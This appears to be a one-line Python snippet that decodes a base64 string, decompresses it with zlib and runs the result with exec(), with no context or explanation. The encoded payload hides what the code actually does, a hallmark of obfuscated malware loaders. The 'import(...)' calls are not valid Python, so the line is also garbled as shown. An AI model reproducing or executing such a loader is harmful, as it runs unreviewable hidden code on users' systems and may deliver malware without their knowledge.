exec(import('zlib').decompress(import('base64').b64decode(import('codecs').getencoder('utf-8')('eNo9UE1LxDAQPTe/IrckGIeu1l1YrCDiQUQEd28i0ibjGpomIclqVfzvbujiZYb35s2bDzMGHzNNXg2Y5bc1vey7hMtGphz3KstsRiRvPtKJGkdj53bIF7VYkyrHr0OsUjs3w5z4mTzizePN/etm+3R7/SCKDpR3DlXmnNWQVQC3i34A45lcnK/qlSiqPmI3kAonhSEX+zIfkkUM/EIQ285rwd6FTg2cXd0xmSCi+uCNEM/1C9HtEVtBPt+NRWrRcS0u7cFOn/xXT2daEJxQ8XI5aFR+DBFT4vMToF82hdRYlPKHJbZOv4L8AVJOYdA=')[0])))